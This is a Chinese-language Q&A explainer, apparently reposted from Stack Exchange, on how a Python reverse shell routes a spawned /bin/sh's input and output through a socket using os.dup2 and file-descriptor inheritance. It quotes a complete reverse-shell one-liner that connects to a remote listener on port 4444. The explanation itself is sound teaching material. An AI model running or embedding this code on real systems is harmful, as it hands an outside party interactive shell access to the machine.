Python文件描述符工作原理及反向Shell数据流转疑问
Python反向Shell:subprocess与socket数据流转的原理
先看你提到的反向Shell代码:
import socket, subprocess, os s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.11.xxx",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p = subprocess.call(["/bin/sh","-i"])
为什么subprocess的IO会走socket?
这得从Unix/Linux系统的文件描述符机制和子进程继承规则说起:
- 文件描述符的默认指向:每个进程启动时,都会默认打开三个文件描述符:0(标准输入stdin)、1(标准输出stdout)、2(标准错误stderr),默认情况下它们都指向当前终端(比如你敲命令的窗口)。
- dup2的替换作用:
os.dup2(s.fileno(), 0)做的事情是,把socket的文件描述符复制并覆盖掉0号描述符。这意味着,从这一步开始,当前Python进程的标准输入不再是终端,而是已经连接到远程的socket。同理,1和2号描述符也被替换成socket——标准输出、标准错误现在也指向这个socket。 - 子进程继承文件描述符:当用
subprocess.call启动/bin/sh时,子进程会自动继承父进程(也就是这个Python进程)所有打开的文件描述符。所以/bin/sh启动后,它的stdin、stdout、stderr也都是这个socket。
数据到底怎么流转?
- 远程监听器发送命令(比如
ls),数据通过网络传到socket。 /bin/sh从自己的stdin(也就是socket)读取到命令,执行后把结果输出到stdout——而stdout还是socket,结果就顺着网络发回给远程监听器。- 如果命令执行出错,错误信息会输出到stderr,同样通过socket传回。
说白了,就是用dup2把进程的标准IO“换了个接口”,从终端换成了socket。子进程继承了这个替换后的IO,所以所有输入输出都会自动走socket通道,系统只是按照文件描述符指向的对象来处理数据,不需要额外配置。
内容的提问来源于stack exchange,提问作者jhonnyjhonny
相关产品推荐
相关产品推荐

